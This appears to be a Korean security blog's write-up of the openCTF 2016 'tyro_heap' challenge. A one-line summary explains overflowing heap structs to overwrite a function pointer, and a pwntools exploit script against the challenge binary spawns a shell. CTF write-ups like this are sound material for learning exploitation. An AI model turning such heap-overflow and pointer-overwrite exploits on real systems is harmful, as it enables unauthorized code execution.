Notice
Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

openCTF 2016 tyro_heap 본문

Security/Pwnable

openCTF 2016 tyro_heap

Cdor1 2017. 2. 14. 22:56

후기 : 구조체 2개 할당후 오버플로를 통해서 포인터 덮고 쉘 함수 호출


from pwn import *
s = process('./tyro_heap_29d1e9341f35f395475bf16aa988e29b')

for i in range(0,2):
	print s.recvuntil('::> ')
	s.sendline('c')

print s.recvuntil('::> ')
s.sendline('b')
print s.recvuntil('object id ?: ')
s.sendline('0')
print s.recvuntil('give me input_b: ')
s.sendline(p32(0x08048660)*10)

print s.recvuntil('::> ')
s.sendline('e')
print s.recvuntil('object id ?: ')
s.sendline('1')
s.interactive()

'Security > Pwnable' 카테고리의 다른 글

pwnable.kr brain fuck  (0) 2017.02.15
MMA CTF 2nd 2016 shadow  (0) 2017.02.14
pwnable.kr unlink  (0) 2017.02.13
Codegate 2017 babypwn  (0) 2017.02.13
codegate 2차 발표자료  (0) 2017.02.09
Comments